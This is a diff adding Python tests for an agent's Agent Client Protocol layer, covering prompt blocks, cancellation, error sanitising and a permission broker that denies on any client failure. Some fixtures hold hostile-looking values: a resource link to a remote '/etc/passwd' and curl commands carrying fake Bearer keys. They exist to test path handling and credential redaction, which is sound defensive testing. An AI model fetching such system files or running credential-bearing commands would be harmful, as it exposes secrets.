test_a_refused_turn_is_explained_and_still_ends_with_a_stop_reason(self, rig): + """A prompt is never answered with a JSON-RPC error. No terminating event + is coming either, so awaiting the future would hang.""" + from raven.rpc.errors import TurnInProgressError + + await rig.handshake() + session_id = await rig.new_session() + rig.stack.send_result = TurnInProgressError("already running") + + response = await rig.call( + "session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "hi"}]} + ) + + assert response["result"] == {"stopReason": "end_turn"} + assert any("could not start" in u["content"]["text"] for u in rig.updates()) + + async def test_the_turn_slot_is_released_after_a_refused_turn(self, rig): + """Otherwise the session is wedged: every later prompt is refused as + concurrent by a turn that never ran.""" + from raven.rpc.errors import TurnInProgressError + + await rig.handshake() + session_id = await rig.new_session() + rig.stack.send_result = TurnInProgressError("already running") + await rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "a"}]}) + + assert rig.translator.get(session_id).turn is None + + async def test_a_second_concurrent_prompt_is_refused_with_a_reason(self, rig): + await rig.handshake() + session_id = await rig.new_session() + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "a"}]}) + ) + for _ in range(4): + await asyncio.sleep(0) + + response = await rig.call( + "session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "b"}]} + ) + + assert response["error"]["code"] == protocol.INVALID_REQUEST + assert "in flight" in response["error"]["message"] + rig.translator.settle_turn(session_id, "end_turn") + await task + + +class TestPromptContent: + async def _send(self, rig, blocks): + await rig.handshake() + session_id = await rig.new_session() + task = asyncio.create_task(rig.call("session/prompt", {"sessionId": session_id, "prompt": blocks})) + for _ in range(4): + await asyncio.sleep(0) + rig.translator.settle_turn(session_id, "end_turn") + await task + return rig.stack.params_for("turn.send") + + async def test_text_blocks_are_joined(self, rig): + params = await self._send(rig, [{"type": "text", "text": "one"}, {"type": "text", "text": "two"}]) + + assert params["content"] == "one\n\ntwo" + + async def test_an_empty_or_mistyped_text_block_contributes_nothing(self, rig): + """Not merely skipped -- joining it would put a blank paragraph in the + middle of what the person actually said.""" + params = await self._send( + rig, + [ + {"type": "text", "text": ""}, + {"type": "text"}, + {"type": "text", "text": 42}, + {"type": "text", "text": "real"}, + ], + ) + + assert params["content"] == "real" + + async def test_a_resource_link_names_a_usable_path(self, rig): + """The block Zed sends for every @-mention, gated by no capability at all + -- ``PromptCapabilities`` covers only audio and embeddedContext. An agent + with no branch for it drops the whole point of the mention.""" + params = await self._send( + rig, + [ + {"type": "text", "text": "look at"}, + {"type": "resource_link", "uri": "file:///work/my%20file.py", "name": "my file.py"}, + ], + ) + + assert "/work/my file.py" in params["content"], "the percent-encoding an editor adds must be undone" + assert "my file.py" in params["content"] + + async def test_a_non_file_resource_link_keeps_its_uri(self, rig): + params = await self._send(rig, [{"type": "resource_link", "uri": "https://x.dev/a", "name": "a"}]) + + assert "https://x.dev/a" in params["content"] + + async def test_a_remote_file_uri_is_not_turned_into_a_local_path(self, rig): + """``file://host/share`` names somebody else's machine; making it local + would point the agent at the wrong file rather than at none.""" + params = await self._send(rig, [{"type": "resource_link", "uri": "file://otherbox/etc/passwd", "name": "p"}]) + + assert "file://otherbox/etc/passwd" in params["content"] + + async def test_a_resource_link_without_a_uri_still_names_itself(self, rig): + params = await self._send(rig, [{"type": "resource_link", "name": "notes"}]) + + assert "[notes]" in params["content"] + + async def test_an_embedded_text_resource_is_inlined(self, rig): + params = await self._send( + rig, + [ + { + "type": "resource", + "resource": {"uri": "file:///a/b.py", "text": "print(1)", "mimeType": "text/x-python"}, + } + ], + ) + + assert "print(1)" in params["content"] + assert "/a/b.py" in params["content"] + + async def test_an_embedded_blob_is_named_rather_than_base64ed_into_the_prompt(self, rig): + params = await self._send( + rig, + [{"type": "resource", "resource": {"uri": "file:///a/x.bin", "blob": base64.b64encode(b"\x00").decode()}}], + ) + + assert "/a/x.bin" in params["content"] + assert "not inlined" in params["content"] + + async def test_an_embedded_resource_with_neither_text_nor_blob_is_skipped(self, rig): + params = await self._send( + rig, + [ + {"type": "resource", "resource": {"uri": "file:///a/x", "mimeType": "text/plain"}}, + {"type": "text", "text": "kept"}, + ], + ) + + assert params["content"] == "kept" + + async def test_a_file_uri_that_cannot_be_parsed_is_passed_through_as_text(self, rig): + """``urlparse`` raises on a bracketed host that is not a valid IPv6 + literal. A URI whose path cannot be trusted is named, not guessed at.""" + params = await self._send(rig, [{"type": "resource_link", "uri": "file://[bad/x", "name": "x"}]) + + assert "file://[bad/x" in params["content"] + + async def test_an_image_the_workspace_will_not_take_is_reported_not_raised(self, rig, monkeypatch): + """One bad attachment must not cost the turn the rest of the prompt was + asking for -- the same reasoning ``turn.send``'s own resolver uses.""" + import base64 as b64 + + def _refuse(data, suffix): + raise OSError("read-only file system") + + monkeypatch.setattr("raven.acp.methods._write_upload", _refuse) + params = await self._send( + rig, + [ + {"type": "image", "data": b64.b64encode(b"\x89PNG").decode(), "mimeType": "image/png"}, + {"type": "text", "text": "and my question"}, + ], + ) + + assert params["media"] == [] + assert params["content"] == "and my question" + + async def test_a_malformed_embedded_resource_costs_only_itself(self, rig): + params = await self._send(rig, [{"type": "resource", "resource": None}, {"type": "text", "text": "still here"}]) + + assert params["content"] == "still here" + + async def test_an_image_lands_in_the_workspace_as_a_relative_media_path(self, rig): + """``turn.send`` resolves media through the file tools' own policy, and + the spelling it resolves is ``uploads/`` -- which also survives a + deployment with ``restrict_to_workspace`` on, where an absolute temp path + outside the workspace would be dropped without a word.""" + png = base64.b64encode(b"\x89PNG\r\n\x1a\n" + b"x" * 32).decode() + params = await self._send(rig, [{"type": "image", "data": png, "mimeType": "image/png"}]) + + assert len(params["media"]) == 1 + relative = params["media"][0] + assert relative.startswith("uploads/") and relative.endswith(".png") + assert (rig.tmp_path / "ws" / relative).read_bytes().startswith(b"\x89PNG") + + async def test_an_image_is_also_mentioned_in_the_text(self, rig): + png = base64.b64encode(b"\x89PNG").decode() + params = await self._send(rig, [{"type": "image", "data": png, "mimeType": "image/png"}]) + + assert "attached image" in params["content"] + + async def test_a_broken_image_does_not_fail_the_prompt(self, rig): + params = await self._send( + rig, + [ + {"type": "image", "data": "not base64!!", "mimeType": "image/png"}, + {"type": "image", "data": "", "mimeType": "image/png"}, + {"type": "text", "text": "and my question"}, + ], + ) + + assert params["media"] == [] + assert params["content"] == "and my question" + + async def test_an_oversized_image_is_dropped_rather_than_written(self, rig): + big = base64.b64encode(b"x" * (MAX_IMAGE_BYTES + 1)).decode() + params = await self._send( + rig, [{"type": "image", "data": big, "mimeType": "image/png"}, {"type": "text", "text": "q"}] + ) + + assert params["media"] == [] + + async def test_audio_is_named_rather_than_silently_dropped(self, rig): + """promptCapabilities.audio is false so this should not arrive, but a + person who spoke deserves to know the words did not get through.""" + params = await self._send(rig, [{"type": "audio", "data": "AAA", "mimeType": "audio/wav"}]) + + assert "audio" in params["content"] + + async def test_an_unknown_block_type_costs_only_itself(self, rig): + params = await self._send(rig, [{"type": "hologram"}, "not a dict", {"type": "text", "text": "kept"}]) + + assert params["content"] == "kept" + + +class TestCancel: + async def test_it_cancels_the_turn_and_answers_the_prompt(self, rig): + await rig.handshake() + session_id = await rig.new_session() + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "a"}]}) + ) + for _ in range(4): + await asyncio.sleep(0) + + await rig.notify("session/cancel", {"sessionId": session_id}) + response = await task + + assert response["result"] == {"stopReason": "cancelled"} + assert rig.stack.params_for("turn.cancel") == {"session_key": session_id} + + async def test_a_cancel_that_finds_nothing_still_answers_the_prompt(self, rig): + """The window between opening the turn and the scheduler accepting it: + ``turn.cancel`` reports nothing cancelled, and the prompt still has to be + answered.""" + await rig.handshake() + session_id = await rig.new_session() + rig.stack.cancel_result = {"cancelled": False} + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "a"}]}) + ) + for _ in range(4): + await asyncio.sleep(0) + + await rig.notify("session/cancel", {"sessionId": session_id}) + + assert (await task)["result"] == {"stopReason": "cancelled"} + + async def test_the_prompt_is_answered_even_if_cancelling_raised(self, rig): + """The pending prompt is resolved from a ``finally``: a failure to cancel + must not also mean a turn that never ends.""" + await rig.handshake() + session_id = await rig.new_session() + rig.stack.cancel_result = RuntimeError("scheduler gone") + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "a"}]}) + ) + for _ in range(4): + await asyncio.sleep(0) + + await rig.notify("session/cancel", {"sessionId": session_id}) + + assert (await task)["result"] == {"stopReason": "cancelled"} + + async def test_a_cancel_for_an_unknown_session_is_ignored(self, rig): + """Notifications have no reply, and a client cancelling a session it + already dropped is tidy rather than broken.""" + await rig.handshake() + + assert await rig.notify("session/cancel", {"sessionId": "acp:gone"}) is None + assert not any(name == "turn.cancel" for name, _ in rig.stack.calls) + + async def test_cancelling_an_idle_session_is_harmless(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + assert await rig.notify("session/cancel", {"sessionId": session_id}) is None + + +class TestOutboundErrorHygiene: + """What may leave the process when something inside it fails.""" + + def test_the_traceback_tail_is_stripped(self): + """Every internal dispatcher error carries one, and it is twelve lines of + absolute paths -- diagnostic on a log line, a disclosure in an editor's + transcript.""" + from raven.acp.methods import sanitise_error_data + + cleaned = sanitise_error_data( + {"reason": "SystemExit from handler", "traceback_tail": ' File "/Users/someone/raven/x.py", line 3'} + ) + + assert cleaned == {"reason": "SystemExit from handler"} + + def test_what_survives_is_still_redacted(self): + """An exception message routinely quotes the argument that caused it, and + for ``exec`` that argument is a command line.""" + from raven.acp.methods import sanitise_error_data + + cleaned = sanitise_error_data({"reason": "failed: curl -H 'Authorization: Bearer sk-ant-AAAABBBBCCCCDDDD'"}) + + assert "sk-ant-AAAABBBBCCCC" not in cleaned["reason"] + assert "curl" in cleaned["reason"] + + def test_data_that_becomes_empty_is_dropped_rather_than_sent_hollow(self): + from raven.acp.methods import sanitise_error_data + + assert sanitise_error_data({"traceback_tail": "x"}) is None + assert sanitise_error_data(None) is None + + def test_non_dict_data_is_still_scanned(self): + from raven.acp.methods import sanitise_error_data + + assert "sk-proj-abcdefghijklmnop" not in str(sanitise_error_data(["sk-proj-abcdefghijklmnop"])) + + async def test_an_internal_failure_reaches_the_client_without_its_traceback(self, rig, monkeypatch): + async def _boom(params): + raise RuntimeError("no") + + rig.stack.dispatcher._handlers["turn.subscribe"] = _boom + await rig.handshake() + + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + assert response["error"]["code"] == protocol.INTERNAL_ERROR + assert "traceback" not in json.dumps(response).lower() + validate_outbound(response) + + +class TestShutdown: + async def test_every_subscription_this_connection_opened_is_closed(self, rig): + """Each subscription owns an asyncio task running a coalesce loop, and + ``build_rpc_stack``'s teardown does not touch the emitter. Left open, they + are reported at interpreter exit as "Task was destroyed but it is + pending!" -- on stderr, which is the stream an ACP client shows.""" + closed = [] + + async def _unsubscribe(params): + closed.append(params["subscription_id"]) + return {"unsubscribed": True} + + rig.stack.dispatcher.register("turn.unsubscribe", _unsubscribe) + await rig.handshake() + first = await rig.new_session() + second = await rig.new_session() + + await rig.methods.unsubscribe_all() + + assert sorted(closed) == sorted( + [rig.translator.get(first).subscription_id, rig.translator.get(second).subscription_id] + ) + + async def test_one_failing_close_does_not_abort_the_sweep(self, rig): + """This runs on the way out; one stuck subscription must not cost the rest + of the shutdown.""" + closed = [] + + async def _unsubscribe(params): + if not closed: + closed.append("failed") + raise RuntimeError("gone") + closed.append(params["subscription_id"]) + return {"unsubscribed": True} + + rig.stack.dispatcher.register("turn.unsubscribe", _unsubscribe) + await rig.handshake() + await rig.new_session() + await rig.new_session() + + await rig.methods.unsubscribe_all() + + assert len(closed) == 2 + + async def test_a_session_with_no_subscription_is_skipped(self, rig): + from raven.acp.updates import AcpSession + + rig.translator.add(AcpSession(session_id="acp:bare", session_key="acp:bare", cwd="/w")) + + await rig.methods.unsubscribe_all() + + +class TestErrorPassthrough: + async def test_an_rpc_error_code_is_carried_through_rather_than_flattened(self, rig): + """-32003 and -32008 mean something a client can act on; flattening them + to -32603 throws that away.""" + from raven.rpc.errors import ModelNotAvailableError + + await rig.handshake() + + async def _fail(params): + raise ModelNotAvailableError() + + rig.stack.dispatcher._handlers["turn.subscribe"] = _fail + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + assert response["error"]["code"] == -32008 + + async def test_every_error_frame_this_module_emits_is_a_legal_acp_frame(self, rig): + await rig.handshake() + for method, params in ( + ("session/new", {"cwd": "rel", "mcpServers": []}), + ("authenticate", {}), + ("session/load", {}), + ("session/prompt", {"sessionId": "acp:gone", "prompt": []}), + ): + response = await rig.call(method, params) + + validate_outbound(response) + assert json.dumps(response), "an error frame must be serialisable; data carries arbitrary values" diff --git a/tests/test_acp_permissions.py b/tests/test_acp_permissions.py new file mode 100644 index 00000000..06627a3a --- /dev/null +++ b/tests/test_acp_permissions.py @@ -0,0 +1,397 @@ +"""Permission prompts over ACP: the request, the four failures, and the tally. + +The rule the whole file turns on is that **nothing from the client escapes**. +Measured from the other direction on codex-acp: any error in reply to this +request cancels the entire turn, so the mirror rule for an agent is that a +client's misbehaviour must resolve to a refusal locally rather than propagate. +Four ways a client gets this wrong, each with its own test, each of them denying. + +The other rule is that only this request's own option ids are believed. A client +that answers "the first option" without reading the kinds, or that replays an id +from an earlier prompt, or that synthesises the ``allow_always`` its own UI +offers, is refused rather than trusted -- and the stub client's habit of listing +options in reverse is exactly why that matters. +""" + +from __future__ import annotations + +import asyncio + +import pytest + +from raven.acp.outbound import ConnectionClosedError, OutboundRequests, RequestFailedError +from raven.acp.permissions import AcpPermissionBroker +from raven.acp.updates import AcpSession, UpdateTranslator +from tests.acp_schema import validate_def, validate_outbound + + +class _Client: + """A client that answers whatever the test told it to, or does not.""" + + def __init__(self, answer=None, *, silent: bool = False) -> None: + self.frames: list[dict] = [] + self.answer = answer + self.silent = silent + self.outbound: OutboundRequests | None = None + + def emit(self, frame: dict) -> None: + self.frames.append(frame) + if self.silent or self.outbound is None or "method" not in frame: + return + reply = {"jsonrpc": "2.0", "id": frame["id"]} + answer = self.answer(frame) if callable(self.answer) else self.answer + reply.update(answer) + # Delivered on a later loop pass, the way a real answer arrives: resolving + # inside the write would hide an ordering bug that a real client exposes. + asyncio.get_running_loop().call_soon(self.outbound.resolve, reply) + + @property + def request(self) -> dict: + return next(f for f in self.frames if f.get("method") == "session/request_permission") + + +def _rig(answer=None, *, silent: bool = False, timeout_s: float = 30.0): + client = _Client(answer, silent=silent) + outbound = OutboundRequests(emit=client.emit) + client.outbound = outbound + translator = UpdateTranslator(emit=lambda f: None) + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id="sub")) + return client, outbound, AcpPermissionBroker(outbound=outbound, translator=translator, timeout_s=timeout_s) + + +def _allow(frame: dict) -> dict: + option = next(o for o in frame["params"]["options"] if o["kind"] == "allow_once") + return {"result": {"outcome": {"outcome": "selected", "optionId": option["optionId"]}}} + + +def _reject(frame: dict) -> dict: + option = next(o for o in frame["params"]["options"] if o["kind"] == "reject_once") + return {"result": {"outcome": {"outcome": "selected", "optionId": option["optionId"]}}} + + +async def _ask(broker, command: str = "git push origin main", **kwargs) -> bool: + params = { + "conversation_id": "acp:s1", + "turn_id": "turn-1", + "tool_call_id": "call-1", + "command": command, + "description": "Publish or push work to a remote", + } + params.update(kwargs) + return await broker.await_approval(**params) + + +class TestTheRequest: + async def test_it_matches_the_schema_and_names_the_command( + self, + ): + client, _, broker = _rig(_allow) + + assert await _ask(broker) is True + + params = client.request["params"] + validate_def("RequestPermissionRequest", params) + validate_outbound(client.request) + assert params["sessionId"] == "acp:s1" + assert "git push origin main" in params["toolCall"]["title"] + + async def test_the_tool_call_id_is_the_live_one_so_the_row_updates_in_place(self): + client, _, broker = _rig(_allow) + + await _ask(broker) + + assert client.request["params"]["toolCall"]["toolCallId"] == "call-1" + + async def test_a_call_with_no_id_still_produces_a_valid_request(self): + """``toolCall`` is required by the schema, so a prompt raised outside a + drawn tool row still has to carry one.""" + client, _, broker = _rig(_allow) + + await _ask(broker, tool_call_id="") + + validate_def("RequestPermissionRequest", client.request["params"]) + assert client.request["params"]["toolCall"]["toolCallId"] + + async def test_only_once_options_are_offered(self): + """``ApprovalBroker.resolve`` takes allow or deny and its docstring says + there is no always-allow state; ``denied_digests`` clears every turn. + Offering ``allow_always`` would be a lie the client renders as a saved + preference.""" + client, _, broker = _rig(_allow) + + await _ask(broker) + + kinds = [option["kind"] for option in client.request["params"]["options"]] + assert kinds == ["allow_once", "reject_once"] + + async def test_the_turn_id_rides_in_meta_not_at_the_top_level(self): + """The spec forbids custom fields on standard types and declares ``_meta`` + on nearly every one for exactly this.""" + client, _, broker = _rig(_allow) + + await _ask(broker) + + params = client.request["params"] + assert params["_meta"] == {"raven.turnId": "turn-1"} + assert "turnId" not in params + + async def test_no_meta_key_at_all_when_there_is_no_turn_id(self): + client, _, broker = _rig(_allow) + + await _ask(broker, turn_id="") + + assert "_meta" not in client.request["params"] + validate_def("RequestPermissionRequest", client.request["params"]) + + async def test_a_credential_in_the_command_is_redacted_before_it_is_displayed(self): + """The prompt is rendered in an editor and may be kept in its transcript. + The shape survives so the reader can still tell what was going to run.""" + client, _, broker = _rig(_reject) + + await _ask(broker, command='curl -H "Authorization: Bearer sk-ant-api03-AAAABBBBCCCCDDDD" https://x') + + title = client.request["params"]["toolCall"]["title"] + assert "sk-ant-api03" not in title + assert "[redacted]" in title + assert "curl" in title and "Authorization" in title + + async def test_each_request_mints_fresh_option_ids(self): + client, _, broker = _rig(_allow) + + await _ask(broker) + await _ask(broker) + + prompts = [f for f in client.frames if f.get("method") == "session/request_permission"] + first = {o["optionId"] for o in prompts[0]["params"]["options"]} + second = {o["optionId"] for o in prompts[1]["params"]["options"]} + assert first.isdisjoint(second), "reused ids let a stale answer approve a later command" + + +class TestTheAnswer: + async def test_choosing_allow_permits_the_command_once(self): + _, _, broker = _rig(_allow) + + assert await _ask(broker) is True + assert broker.outcomes == {"allowed": 1} + + async def test_choosing_reject_refuses_it(self): + _, _, broker = _rig(_reject) + + assert await _ask(broker) is False + assert broker.outcomes == {"rejected": 1} + + async def test_a_refusal_arrives_as_a_selection_because_there_is_no_denied(self): + """``RequestPermissionOutcome`` has exactly two variants, ``cancelled`` + and ``selected``. A client sending ``denied`` is sending something the + schema does not define.""" + _, _, broker = _rig({"result": {"outcome": {"outcome": "denied"}}}) + + assert await _ask(broker) is False + assert broker.outcomes == {"unknown-outcome": 1} + + +class TestTheFourClientFailures: + async def test_no_answer_at_all_is_a_refusal(self): + """The deadline is the broker's parameter, not the transport's default -- + which is why it can be short here. The product value is five minutes, + because a person reading a diff in an editor is not a terminal overlay + with a thirty-second countdown.""" + _, _, broker = _rig(silent=True, timeout_s=0.05) + + assert await _ask(broker) is False + assert broker.outcomes == {"timeout": 1}, "a silent client is not a decision, and the tally says so" + + async def test_the_default_deadline_is_generous_rather_than_the_rpc_ceiling(self): + from raven.acp.outbound import DEFAULT_REQUEST_TIMEOUT_S + from raven.rpc.approval_broker import ApprovalBroker + + assert DEFAULT_REQUEST_TIMEOUT_S > 60.0, ( + "the 35s RPC ceiling exists because a terminal owns a visible countdown; " + "reusing it here silently denies anyone who read the diff" + ) + assert ApprovalBroker(send_frame=None)._hard_timeout_s < DEFAULT_REQUEST_TIMEOUT_S + + async def test_an_error_reply_is_a_refusal(self): + _, _, broker = _rig({"error": {"code": -32601, "message": "session/request_permission is not implemented"}}) + + assert await _ask(broker) is False + assert broker.outcomes == {"client-error": 1} + + async def test_an_unknown_option_id_is_a_refusal(self): + """An id from an earlier prompt, or one the client invented -- including + the ``allow_always`` a client might synthesise because its UI offers one.""" + _, _, broker = _rig({"result": {"outcome": {"outcome": "selected", "optionId": "allow-always-forever"}}}) + + assert await _ask(broker) is False + assert broker.outcomes == {"unknown-option": 1} + + async def test_an_explicit_cancellation_is_a_refusal_and_not_an_error(self): + """The one that is not misbehaviour: a client cancelling a turn MUST + answer every pending permission with this.""" + _, _, broker = _rig({"result": {"outcome": {"outcome": "cancelled"}}}) + + assert await _ask(broker) is False + assert broker.outcomes == {"cancelled": 1} + + @pytest.mark.parametrize( + "reply", + [ + {"result": None}, + {"result": "yes"}, + {"result": {}}, + {"result": {"outcome": "selected"}}, + {"result": {"outcome": {"outcome": "selected"}}}, + ], + ) + async def test_a_malformed_answer_is_a_refusal(self, reply): + _, _, broker = _rig(reply) + + assert await _ask(broker) is False + + async def test_a_write_that_fails_is_a_refusal_not_a_tool_error(self): + """The clause that is easy to leave out. ``call`` puts the frame on the + wire before it awaits, so a closed pipe raises an ``OSError`` that is none + of the handled cases -- and it would travel up to the registry's + ``except Exception`` and be reported to the model as a failed tool call + rather than as a refusal.""" + + def _explode(frame): + raise OSError("broken pipe") + + translator = UpdateTranslator(emit=lambda f: None) + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id="sub")) + broker = AcpPermissionBroker(outbound=OutboundRequests(emit=_explode), translator=translator) + + assert await _ask(broker) is False + assert broker.outcomes == {"transport-error": 1} + + +class TestBoundaries: + async def test_a_turn_with_no_acp_session_cannot_be_approved(self): + """A cron or runtime turn sharing this process. There is nobody to ask, + and nobody to ask is not permission.""" + _, _, broker = _rig(_allow) + + assert await _ask(broker, conversation_id="cron:nightly") is False + assert broker.outcomes == {"no-session": 1} + + async def test_an_empty_conversation_id_cannot_be_approved(self): + _, _, broker = _rig(_allow) + + assert await _ask(broker, conversation_id="") is False + + async def test_a_subagents_lane_resolves_to_its_session(self): + """A direct chat runs on ``#/``, so the lane is + not the session -- and a handle is free-form text the model chose.""" + client, _, broker = _rig(_allow) + + assert await _ask(broker, conversation_id="acp:s1#scout/some handle#with hashes") is True + assert client.request["params"]["sessionId"] == "acp:s1" + + async def test_a_closed_connection_is_a_refusal(self): + _, outbound, broker = _rig(_allow) + outbound.close() + + assert await _ask(broker) is False + assert broker.outcomes == {"connection-closed": 1} + + async def test_a_cancelled_turn_propagates_rather_than_denying(self): + """A cancelled turn has no decision to report. Swallowing it would report + the tool call as denied inside a turn that no longer exists.""" + _, _, broker = _rig(silent=True) + task = asyncio.create_task(_ask(broker)) + await asyncio.sleep(0.05) + + task.cancel() + + with pytest.raises(asyncio.CancelledError): + await task + assert broker.outcomes == {"cancelled-turn": 1} + + +class TestTheOutboundMechanism: + async def test_ids_are_this_agents_own_space(self): + """A client's request ids and an agent's are independent. One shared map + would let a client's own id resolve a promise this agent is holding.""" + client, outbound, _ = _rig(lambda f: {"result": {"ok": True}}) + + await outbound.call("session/request_permission", {}) + await outbound.call("session/request_permission", {}) + + assert [f["id"] for f in client.frames] == [1, 2] + + async def test_a_response_for_nobody_is_reported_not_raised(self): + _, outbound, _ = _rig() + + assert outbound.resolve({"jsonrpc": "2.0", "id": 99, "result": {}}) is False + + async def test_a_string_id_in_a_response_matches_nothing(self): + """Every id this agent mints is a plain int, so a string can only be a + client answering something it invented.""" + _, outbound, _ = _rig() + + assert outbound.resolve({"jsonrpc": "2.0", "id": "1", "result": {}}) is False + assert outbound.resolve({"jsonrpc": "2.0", "id": True, "result": {}}) is False + assert outbound.resolve({"jsonrpc": "2.0", "result": {}}) is False + + async def test_an_error_reply_raises_with_its_code_intact(self): + _, outbound, _ = _rig(lambda f: {"error": {"code": -32002, "message": "gone", "data": {"x": 1}}}) + + with pytest.raises(RequestFailedError) as caught: + await outbound.call("session/request_permission", {}) + + assert caught.value.code == -32002 + assert caught.value.data == {"x": 1} + + async def test_closing_fails_everything_outstanding(self): + """The code awaiting these has cleanup to run; leaving the futures for the + garbage collector means it never does.""" + _, outbound, _ = _rig(silent=True) + pending = asyncio.create_task(outbound.call("session/request_permission", {})) + await asyncio.sleep(0) + assert outbound.in_flight == 1 + + outbound.close() + + with pytest.raises(ConnectionClosedError): + await pending + + async def test_a_call_after_closing_is_refused_rather_than_written(self): + client, outbound, _ = _rig(silent=True) + outbound.close() + + with pytest.raises(ConnectionClosedError): + await outbound.call("session/request_permission", {}) + assert client.frames == [], "a handler still unwinding must not write to a closed channel" + + async def test_a_timed_out_request_leaves_no_entry_behind(self): + """Otherwise a late answer resolves a future nobody is waiting on -- and + on a reused id, the wrong one.""" + _, outbound, _ = _rig(silent=True) + + with pytest.raises((TimeoutError, asyncio.TimeoutError)): + await outbound.call("session/request_permission", {}, timeout=0.01) + + assert outbound.in_flight == 0 + assert outbound.resolve({"jsonrpc": "2.0", "id": 1, "result": {}}) is False + + async def test_closing_over_an_already_answered_request_does_not_double_settle(self): + """A real window: ``resolve`` sets the result, and the entry stays in the + map until the awaiting coroutine resumes and its ``finally`` pops it. + Closing in between must not raise ``InvalidStateError`` over a future that + already has an answer.""" + client, outbound, _ = _rig(silent=True) + pending = asyncio.create_task(outbound.call("session/request_permission", {})) + await asyncio.sleep(0) + assert outbound.resolve({"jsonrpc": "2.0", "id": 1, "result": {"ok": True}}) is True + assert outbound.in_flight == 1, "the entry outlives the answer by one loop pass" + + outbound.close() + + assert await pending == {"ok": True} + + async def test_closing_twice_is_harmless(self): + _, outbound, _ = _rig() + + outbound.close() + outbound.close() diff --git a/tests/test_acp_protocol.py b/tests/test_acp_protocol.py new file mode 100644 index 00000000..e26d1822 --- /dev/null +++ b/tests/test_acp_protocol.py @@ -0,0 +1,194 @@ +"""The agent direction's wire helpers, and what the handshake declares. + +Every frame this file builds is also run through the vendored official schema, +so the assertions cover both "raven does what we intended" and "what we intended +is what the spec says". The second half is the one that catches a hand-written +mapper drifting, and it is why these tests import ``tests/acp_schema.py`` +instead of comparing against dicts typed out here. +""" + +from __future__ import annotations + +import pytest + +from raven.acp import protocol +from raven.acp.capabilities import ClientCapabilities, agent_capabilities, initialize_result +from tests.acp_schema import agent_method_names, is_valid_def, validate_def, validate_outbound + + +class TestIds: + def test_a_string_id_survives_the_round_trip(self): + """The client mints request ids and JSON-RPC allows a string. Answering a + string id with a number is a correlation failure even though a reply + arrived.""" + frame = protocol.request("req-1", "session/prompt", {"sessionId": "s"}) + + assert frame["id"] == "req-1" + validate_def("ClientRequest", frame) + + def test_a_request_carries_params_only_when_there_are_some(self): + """Absent rather than null, for the same reason ``data`` is: a null reads + as "there are parameters and they are empty".""" + assert "params" not in protocol.request(1, "session/cancel") + assert protocol.request(1, "session/cancel", {})["params"] == {} + + def test_an_error_carries_data_only_when_there_is_some(self): + without = protocol.error_response(1, protocol.INVALID_PARAMS, "bad") + with_data = protocol.error_response(1, protocol.INVALID_PARAMS, "bad", {"field": "cwd"}) + + assert "data" not in without["error"], "a null data reads as empty detail rather than as no detail" + assert with_data["error"]["data"] == {"field": "cwd"} + validate_outbound(without) + validate_outbound(with_data) + + def test_the_acp_specific_codes_are_the_ones_the_spec_assigns(self): + # Typed out rather than derived, because these are the load-bearing + # numbers: -32002 is what tells a client its session is gone rather than + # empty, and -32800 is what a cancelled request must answer. + assert (protocol.AUTH_REQUIRED, protocol.RESOURCE_NOT_FOUND, protocol.REQUEST_CANCELLED) == ( + -32000, + -32002, + -32800, + ) + + +class TestVersionNegotiation: + @pytest.mark.parametrize( + ("raw", "expected"), + [ + (1, 1), + (2, 2), + (0, 0), + (1.0, 1), + ("1", 1), + (" 7 ", 7), + # A non-ASCII decimal numeral, which ``int()`` parses. Twelve rather + # than one so the assertion can tell reading it apart from falling + # back: the fallback is 1, so a single digit here would pass either + # way and prove nothing. + ("\u0661\u0662", 12), + ], + ) + def test_a_readable_version_is_read(self, raw, expected): + assert protocol.normalize_protocol_version(raw) == expected + + @pytest.mark.parametrize("raw", [None, "one", "1.5", 1.5, [], {}, True, False, "\u00b2", "\u00bd"]) + def test_an_unreadable_version_falls_back_rather_than_failing(self, raw): + """Failing the handshake over a malformed version denies the client the + one thing it needs to decide what to do: which version we serve. + + ``True`` is listed because ``bool`` is an ``int`` subclass -- normalising + it to 1 would be a coincidence, not a reading of intent. Superscript two + is listed because it is the case the ``isdecimal`` check exists for: it + satisfies ``isdigit`` and makes ``int()`` raise, so the looser check would + have guarded nothing. + """ + assert protocol.normalize_protocol_version(raw) == protocol.PROTOCOL_VERSION + + def test_an_unsupported_version_is_answered_with_ours(self): + assert protocol.negotiated_version(99) == protocol.PROTOCOL_VERSION + assert protocol.negotiated_version(1) == 1 + + def test_stop_reasons_are_exactly_the_schema_enum(self): + for reason in protocol.STOP_REASONS: + validate_def("StopReason", reason) + assert not is_valid_def("StopReason", "done") + assert len(protocol.STOP_REASONS) == 5 + + +class TestDeclaredCapabilities: + def test_the_initialize_result_matches_the_schema(self): + validate_def("InitializeResponse", initialize_result({"protocolVersion": 1})) + + def test_it_survives_a_client_that_sends_nothing_at_all(self): + """A handshake is the one exchange with no surface for reporting its own + failure, so it must not have one.""" + validate_def("InitializeResponse", initialize_result(None)) + validate_def("InitializeResponse", initialize_result({})) + + def test_no_authentication_is_declared_as_a_fact_not_an_omission(self): + assert initialize_result({})["authMethods"] == [] + + def test_nothing_unbuilt_is_declared(self): + """The worst failure shape in the protocol is a declared capability with + nothing behind it: the client routes work to a method that errors, and + the turn stalls on a promise nobody keeps.""" + caps = agent_capabilities() + + assert caps["promptCapabilities"]["audio"] is False, "there is no audio path on the prompt side" + assert caps["mcpCapabilities"] == {"http": False, "sse": False}, "MCP is per process, not per session" + assert caps["auth"] == {}, "declaring auth.logout would put a method on the wire with nothing to end" + # ``list`` is declared and the other four are not. Each of resume / close + # / delete / additionalDirectories is stable in the schema and unbuilt + # here, and each one declared is a method that must then work. + assert set(caps["sessionCapabilities"]) == {"list"} + + def 